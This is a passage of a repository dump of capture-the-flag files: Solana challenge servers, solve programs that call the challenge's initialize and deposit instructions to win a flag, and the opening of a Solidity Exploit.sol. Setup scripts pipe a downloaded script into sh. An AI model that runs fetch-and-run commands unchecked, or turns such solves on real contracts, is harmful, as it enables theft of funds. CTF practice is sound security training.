TcpStream) -> Result<(), Box> { 40 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 41 | 42 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 43 | let solve_id = builder.input_program()?; 44 | 45 | let mut chall = builder.build().await; 46 | 47 | // ------------------------------------------------------------------------- 48 | // [setup env] initialize 49 | // ------------------------------------------------------------------------- 50 | let program_id = chall_id; 51 | let mint = chall.add_mint().await?; 52 | 53 | let payer_keypair = &chall.ctx.payer; 54 | let payer = payer_keypair.pubkey(); 55 | 56 | let config = Pubkey::find_program_address(&[b"CONFIG"], &program_id).0; 57 | let reserve = Pubkey::find_program_address(&[b"RESERVE"], &program_id).0; 58 | 59 | let user_keypair = Keypair::new(); 60 | let user = user_keypair.pubkey(); 61 | chall 62 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 63 | .await?; 64 | 65 | println!("\nAccounts created...\n"); 66 | 67 | let ix = chall::instruction::Initialize {}; 68 | let ix_accounts = chall::accounts::Initialize { 69 | config, 70 | reserve, 71 | mint, 72 | admin: payer, 73 | token_program: spl_token::ID, 74 | system_program: solana_program::system_program::ID, 75 | rent: solana_program::sysvar::rent::ID, 76 | }; 77 | 78 | chall.run_ix(Instruction::new_with_bytes( 79 | program_id, 80 | &ix.data(), 81 | ix_accounts.to_account_metas(None), 82 | )) 83 | .await?; 84 | 85 | chall.mint_to(1_000_u64, &mint, &reserve).await?; 86 | 87 | let reserve_account = chall.read_token_account(reserve).await?; 88 | println!( 89 | "\nreserve_account balance = {}\n", 90 | reserve_account.amount 91 | ); 92 | // ------------------------------------------------------------------------- 93 | // [setup env] register 94 | // ------------------------------------------------------------------------- 95 | let user_record = Pubkey::find_program_address(&[user.as_ref()], &program_id).0; 96 | let user_account = Pubkey::find_program_address(&[b"account", user.as_ref()], &program_id).0; 97 | let ix = chall::instruction::Register {}; 98 | 99 | let reg_accounts = chall::accounts::Register { 100 | user_record, 101 | user_account, 102 | mint, 103 | user, 104 | token_program: spl_token::ID, 105 | system_program: solana_program::system_program::ID, 106 | rent: solana_program::sysvar::rent::ID, 107 | }; 108 | 109 | let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32); 110 | let reg_ix = Instruction::new_with_bytes( 111 | program_id, 112 | &ix.data(), 113 | reg_accounts.to_account_metas(None), 114 | ); 115 | chall.run_ixs_full( 116 | &[bump_budget, reg_ix], 117 | &[&user_keypair], 118 | &user_keypair.pubkey(), 119 | ) 120 | .await?; 121 | 122 | let user_token_account = chall.read_token_account(user_account).await?; 123 | println!( 124 | "\nuser_account balance = {}\nRegister done\n", 125 | user_token_account.amount 126 | ); 127 | 128 | // ---------------------------------------------------------------------------- 129 | // [setup env] done 130 | // ---------------------------------------------------------------------------- 131 | 132 | writeln!(socket, "mint: {}", mint)?; 133 | writeln!(socket, "admin: {}", payer)?; 134 | writeln!(socket, "config: {}", config)?; 135 | writeln!(socket, "reserve: {}", reserve)?; 136 | writeln!(socket, "user: {}", user)?; 137 | writeln!(socket, "user_record: {}", user_record)?; 138 | writeln!(socket, "user_account: {}", user_account)?; 139 | 140 | let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32); 141 | let solve_ix = chall.read_instruction(solve_id)?; 142 | chall 143 | .run_ixs_full( 144 | &[bump_budget, solve_ix], 145 | &[&user_keypair], 146 | &user_keypair.pubkey(), 147 | ) 148 | .await?; 149 | 150 | let user_token_account = chall.read_token_account(user_account).await?; 151 | writeln!( 152 | socket, 153 | "user_account: {:?}", 154 | user_token_account.amount 155 | )?; 156 | 157 | println!( 158 | "\nuser_account balance = {}\n", 159 | user_token_account.amount 160 | ); 161 | 162 | if user_token_account.amount > 200 { 163 | writeln!(socket, "congrats!")?; 164 | if let Ok(flag) = env::var("FLAG") { 165 | writeln!(socket, "flag: {:?}", flag)?; 166 | } else { 167 | writeln!(socket, "flag not found, please contact admin")?; 168 | } 169 | } 170 | 171 | Ok(()) 172 | } 173 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release -------------------------------------------------------------------------------- /idekctf2022/blockchain2/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh -------------------------------------------------------------------------------- /idekctf2022/blockchain3/README.md: -------------------------------------------------------------------------------- 1 | # Setup 2 | 3 | Use `framework/` to locally setup the challenge 4 | Use `framework-solve/` to solve the challenge locally and remotely 5 | 6 | Edit `framework-solve/solve/programs/solve/src/lib.rs` with your exploit 7 | 8 | 9 | ## Deployment 10 | - Run `docker build -t solana-challenge-2 .` in the `framework` directory 11 | - Run `docker run -d -p 1337:1337 solana-challenge-2` 12 | 13 | 14 | ## Building the solution 15 | - Run `build_solution.sh` in the `solution` directory 16 | - Run `target/release/solve-framework` 17 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/build_solution.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd solve && cargo build-bpf 4 | cd .. 5 | cargo build --release 6 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Mint, Token, TokenAccount}; 4 | 5 | declare_id!("28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn initialize(ctx: Context) -> Result<()> { 12 | 13 | // let cpi_accounts = chall::cpi::accounts::Attempt { 14 | // reserve: ctx.accounts.reserve.to_account_info(), 15 | // record: ctx.accounts.user_record.to_account_info(), 16 | // user_account: ctx.accounts.user_account.to_account_info(), 17 | // mint: ctx.accounts.mint.to_account_info(), 18 | // user: ctx.accounts.user.to_account_info(), 19 | // token_program: ctx.accounts.token_program.to_account_info(), 20 | // }; 21 | // let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 22 | // chall::cpi::attempt(cpi_ctx)?; 23 | 24 | // -------------------------------------------- 25 | // your instruction goes here 26 | let cpi_accounts = chall::cpi::accounts::Initialize { 27 | config: ctx.accounts.config.to_account_info(), 28 | reserve: ctx.accounts.reserve.to_account_info(), 29 | mint: ctx.accounts.mint.to_account_info(), 30 | admin: ctx.accounts.user.to_account_info(), 31 | token_program: ctx.accounts.token_program.to_account_info(), 32 | system_program: ctx.accounts.system_program.to_account_info(), 33 | rent: ctx.accounts.rent.to_account_info(), 34 | }; 35 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 36 | chall::cpi::initialize(cpi_ctx)?; 37 | 38 | let cpi_accounts = chall::cpi::accounts::Deposit { 39 | config: ctx.accounts.config.to_account_info(), 40 | reserve: ctx.accounts.reserve.to_account_info(), 41 | user_account: ctx.accounts.user_account.to_account_info(), 42 | mint: ctx.accounts.mint.to_account_info(), 43 | admin: ctx.accounts.user.to_account_info(), 44 | user: ctx.accounts.user.to_account_info(), 45 | token_program: ctx.accounts.token_program.to_account_info(), 46 | system_program: ctx.accounts.system_program.to_account_info(), 47 | rent: ctx.accounts.rent.to_account_info(), 48 | }; 49 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 50 | chall::cpi::deposit(cpi_ctx, 1000)?; 51 | 52 | 53 | Ok(()) 54 | } 55 | } 56 | 57 | #[derive(Accounts)] 58 | pub struct Initialize<'info> { 59 | #[account(mut)] 60 | pub admin: AccountInfo<'info>, 61 | 62 | #[account(mut)] 63 | pub config: AccountInfo<'info>, 64 | 65 | #[account(mut)] 66 | pub reserve: Account<'info, TokenAccount>, 67 | 68 | #[account(mut)] 69 | pub user_record: AccountInfo<'info>, 70 | 71 | #[account(mut)] 72 | pub user_account: Account<'info, TokenAccount>, 73 | 74 | #[account(mut)] 75 | pub user: Signer<'info>, 76 | 77 | pub mint: Account<'info, Mint>, 78 | 79 | pub token_program: Program<'info, Token>, 80 | 81 | pub system_program: Program<'info, System>, 82 | 83 | pub chall: Program<'info, chall::program::Chall>, 84 | 85 | pub rent: Sysvar<'info, Rent>, 86 | } 87 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas, system_program}; 2 | use solana_program::pubkey::Pubkey; 3 | use std::net::TcpStream; 4 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 5 | 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | let ret = line 11 | .split(':') 12 | .nth(1) 13 | .ok_or("invalid input")? 14 | .trim() 15 | .to_string(); 16 | Ok(ret) 17 | } 18 | 19 | 20 | fn main() -> Result<(), Box> { 21 | let mut stream = TcpStream::connect("baby-blockchain-3.chal.idek.team:1337")?; 22 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 23 | 24 | let mut line = String::new(); 25 | 26 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 27 | 28 | reader.read_line(&mut line)?; 29 | writeln!(stream, "{}", solve::ID)?; 30 | reader.read_line(&mut line)?; 31 | writeln!(stream, "{}", so_data.len())?; 32 | stream.write_all(&so_data)?; 33 | 34 | 35 | let chall_id = chall::ID; 36 | 37 | let mint = Pubkey::from_str(&get_line(&mut reader)?)?; 38 | let admin = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | let config = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | let reserve = Pubkey::from_str(&get_line(&mut reader)?)?; 41 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 42 | let user_record = Pubkey::from_str(&get_line(&mut reader)?)?; 43 | let user_account = Pubkey::from_str(&get_line(&mut reader)?)?; 44 | 45 | println!(""); 46 | println!("mint : {}", mint); 47 | println!("admin : {}", admin); 48 | println!("config : {}", config); 49 | println!("reserve : {}", reserve); 50 | println!("user : {}", user); 51 | println!("user_record : {}", user_record); 52 | println!("user_account : {}", user_account); 53 | println!(""); 54 | 55 | let ix = solve::instruction::Initialize {}; 56 | let data = ix.data(); 57 | 58 | let ix_accounts = solve::accounts::Initialize { 59 | admin, 60 | config, 61 | reserve, 62 | user_record, 63 | user_account, 64 | user, 65 | mint, 66 | token_program: spl_token::ID, 67 | system_program: system_program::ID, 68 | chall: chall_id, 69 | rent: solana_program::sysvar::rent::ID, 70 | }; 71 | 72 | let metas = ix_accounts.to_account_metas(None); 73 | 74 | reader.read_line(&mut line)?; 75 | writeln!(stream, "{}", metas.len())?; 76 | for meta in metas { 77 | let mut meta_str = String::new(); 78 | meta_str.push('m'); 79 | if meta.is_writable { 80 | meta_str.push('w'); 81 | } 82 | if meta.is_signer { 83 | meta_str.push('s'); 84 | } 85 | meta_str.push(' '); 86 | meta_str.push_str(&meta.pubkey.to_string()); 87 | writeln!(stream, "{}", meta_str)?; 88 | stream.flush()?; 89 | } 90 | 91 | reader.read_line(&mut line)?; 92 | writeln!(stream, "{}", data.len())?; 93 | stream.write_all(&data)?; 94 | 95 | stream.flush()?; 96 | 97 | line.clear(); 98 | while reader.read_line(&mut line)? != 0 { 99 | print!("{}", line); 100 | line.clear(); 101 | } 102 | 103 | Ok(()) 104 | } 105 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | ENV FLAG="idek{This_is_a_fake_flag}" 18 | 19 | CMD [ "./target/release/framework" ] 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/build_challenge.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd chall && cargo build-bpf 4 | cd .. 5 | cargo build --release -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = { version = "0.24.2", features = ["init-if-needed"] } 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey::Pubkey; 15 | use solana_sdk::signature::Signer; 16 | use solana_sdk::signer::keypair::Keypair; 17 | use std::error::Error; 18 | 19 | use std::net::{TcpListener, TcpStream}; 20 | 21 | #[tokio::main] 22 | async fn main() -> Result<(), Box> { 23 | let listener = TcpListener::bind("0.0.0.0:1337")?; 24 | 25 | println!("starting server at port 1337!"); 26 | 27 | for stream in listener.incoming() { 28 | let stream = stream.unwrap(); 29 | 30 | tokio::spawn(async { 31 | if let Err(err) = handle_connection(stream).await { 32 | println!("error: {:?}", err); 33 | } 34 | }); 35 | } 36 | Ok(()) 37 | } 38 | 39 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 40 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 41 | 42 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 43 | let solve_id = builder.input_program()?; 44 | 45 | let mut chall = builder.build().await; 46 | 47 | // ------------------------------------------------------------------------- 48 | // [setup env] initialize 49 | // ------------------------------------------------------------------------- 50 | let program_id = chall_id; 51 | let mint = chall.add_mint().await?; 52 | 53 | let payer_keypair = &chall.ctx.payer; 54 | let payer = payer_keypair.pubkey(); 55 | 56 | let config = Pubkey::find_program_address(&[b"CONFIG"], &program_id).0; 57 | let reserve = Pubkey::find_program_address(&[b"RESERVE"], &program_id).0; 58 | 59 | let user_keypair = Keypair::new(); 60 | let user = user_keypair.pubkey(); 61 | chall 62 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 63 | .await?; 64 | 65 | println!("\nAccounts created...\n"); 66 | 67 | let ix = chall::instruction::Initialize {}; 68 | let ix_accounts = chall::accounts::Initialize { 69 | config, 70 | reserve, 71 | mint, 72 | admin: payer, 73 | token_program: spl_token::ID, 74 | system_program: solana_program::system_program::ID, 75 | rent: solana_program::sysvar::rent::ID, 76 | }; 77 | 78 | chall.run_ix(Instruction::new_with_bytes( 79 | program_id, 80 | &ix.data(), 81 | ix_accounts.to_account_metas(None), 82 | )) 83 | .await?; 84 | 85 | chall.mint_to(1_000_u64, &mint, &reserve).await?; 86 | 87 | let reserve_account = chall.read_token_account(reserve).await?; 88 | println!( 89 | "\nreserve_account balance = {}\n", 90 | reserve_account.amount 91 | ); 92 | // ------------------------------------------------------------------------- 93 | // [setup env] register 94 | // ------------------------------------------------------------------------- 95 | let user_record = Pubkey::find_program_address(&[user.as_ref()], &program_id).0; 96 | let user_account = Pubkey::find_program_address(&[b"account", user.as_ref()], &program_id).0; 97 | let ix = chall::instruction::Register {}; 98 | 99 | let reg_accounts = chall::accounts::Register { 100 | user_record, 101 | user_account, 102 | mint, 103 | user, 104 | token_program: spl_token::ID, 105 | system_program: solana_program::system_program::ID, 106 | rent: solana_program::sysvar::rent::ID, 107 | }; 108 | 109 | let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32); 110 | let reg_ix = Instruction::new_with_bytes( 111 | program_id, 112 | &ix.data(), 113 | reg_accounts.to_account_metas(None), 114 | ); 115 | chall.run_ixs_full( 116 | &[bump_budget, reg_ix], 117 | &[&user_keypair], 118 | &user_keypair.pubkey(), 119 | ) 120 | .await?; 121 | 122 | let user_token_account = chall.read_token_account(user_account).await?; 123 | println!( 124 | "\nuser_account balance = {}\nRegister done\n", 125 | user_token_account.amount 126 | ); 127 | 128 | // ---------------------------------------------------------------------------- 129 | // [setup env] done 130 | // ---------------------------------------------------------------------------- 131 | 132 | writeln!(socket, "mint: {}", mint)?; 133 | writeln!(socket, "admin: {}", payer)?; 134 | writeln!(socket, "config: {}", config)?; 135 | writeln!(socket, "reserve: {}", reserve)?; 136 | writeln!(socket, "user: {}", user)?; 137 | writeln!(socket, "user_record: {}", user_record)?; 138 | writeln!(socket, "user_account: {}", user_account)?; 139 | 140 | let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32); 141 | let solve_ix = chall.read_instruction(solve_id)?; 142 | chall 143 | .run_ixs_full( 144 | &[bump_budget, solve_ix], 145 | &[&user_keypair], 146 | &user_keypair.pubkey(), 147 | ) 148 | .await?; 149 | 150 | let user_token_account = chall.read_token_account(user_account).await?; 151 | writeln!( 152 | socket, 153 | "user_account: {:?}", 154 | user_token_account.amount 155 | )?; 156 | 157 | println!( 158 | "\nuser_account balance = {}\n", 159 | user_token_account.amount 160 | ); 161 | 162 | if user_token_account.amount > 200 { 163 | writeln!(socket, "congrats!")?; 164 | if let Ok(flag) = env::var("FLAG") { 165 | writeln!(socket, "flag: {:?}", flag)?; 166 | } else { 167 | writeln!(socket, "flag not found, please contact admin")?; 168 | } 169 | } 170 | 171 | Ok(()) 172 | } 173 | -------------------------------------------------------------------------------- /idekctf2022/blockchain3/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release -------------------------------------------------------------------------------- /idekctf2022/blockchain3/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh -------------------------------------------------------------------------------- /lactf2023/breakup/contracts/Exploit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.18; 3 | 4 | //import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; 5 | //import "./contracts/Friend.sol"; 6 | import "./Setup.sol"; 7 | 8 | contract Exploit { 9 | address payable public targetAddr; 10 | Setup targetContract; 11 | Friend friend; 12 | 13 | constructor(address payable _addr) payable { 14 | targetAddr = payable(_addr); 15 | targetContract = Setup(targetAddr); 16 | 17 | pwn(); 18 | } 19 | 20 | function pwn() public { 21 | friend = targetContract.friend(); 22 | uint256 totalFriends = friend.balanceOf(address(targetContract.somebodyYouUsedToKnow())); 23 | bytes memory you = "You"; 24 | for (uint256 i = 0; i < totalFriends; i++) { 25 | bytes memory thisNameBytes = bytes( 26 | friend.friendNames(friend.tokenOfOwnerByIndex(address(targetContract.somebodyYouUsedToKnow()), i)) 27 | ); 28 | if (you.length == thisNameBytes.length && keccak256(you) == keccak256(thisNameBytes)) { 29 | 